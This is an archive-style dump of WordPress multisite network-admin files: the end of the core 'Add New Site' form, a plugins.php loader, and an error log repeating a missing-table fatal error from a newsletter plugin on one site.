			network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
		);
	}
}

// Used in the HTML title tag.
$title       = __( 'Add New Site' );
$parent_file = 'sites.php';

wp_enqueue_script( 'user-suggest' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="add-new-site"><?php _e( 'Add New Site' ); ?></h1>
<?php
if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<p><?php echo wp_required_field_message(); ?></p>
<form method="post" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate">
<?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?>
	<table class="form-table" role="presentation">
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-address">
					<?php
					_e( 'Site Address (URL)' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td>
			<?php if ( is_subdomain_install() ) { ?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', get_network()->domain ); ?></span>
				<?php
			} else {
				echo get_network()->domain . get_network()->path
				?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required />
				<?php
			}
			echo '<p class="description" id="site-address-desc">' . __( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ) . '</p>';
			?>
			</td>
		</tr>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-title">
					<?php
					_e( 'Site Title' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td>
		</tr>
		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) :
			?>
			<tr class="form-field form-required">
				<th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th>
				<td>
					<?php
					// Network default.
					$lang = get_site_option( 'WPLANG' );

					// Use English if the default isn't available.
					if ( ! in_array( $lang, $languages, true ) ) {
						$lang = '';
					}

					wp_dropdown_languages(
						array(
							'name'                        => 'WPLANG',
							'id'                          => 'site-language',
							'selected'                    => $lang,
							'languages'                   => $languages,
							'translations'                => $translations,
							'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
						)
					);
					?>
				</td>
			</tr>
		<?php endif; // Languages. ?>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="admin-email">
					<?php
					_e( 'Admin Email' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the new site form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_site_new_form' );

	submit_button( __( 'Add Site' ), 'primary', 'add-site' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
plugins.php000064400000000371150276372430006750 0ustar00<?php
/**
 * Network Plugins administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugins.php';
error_log000064400000325767150276372430006516 0ustar00[19-Oct-2023 15:24:46 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[20-Oct-2023 05:55:47 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[20-Oct-2023 22:24:11 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[20-Oct-2023 22:24:12 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[21-Oct-2023 07:11:27 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[21-Oct-2023 07:11:29 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[21-Oct-2023 21:31:45 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[21-Oct-2023 21:31:46 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[22-Oct-2023 23:58:50 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[24-Oct-2023 01:27:39 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[24-Oct-2023 01:27:40 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[24-Oct-2023 04:32:53 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[29-Oct-2023 19:56:51 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[07-Nov-2023 18:19:31 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[08-Nov-2023 04:17:59 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
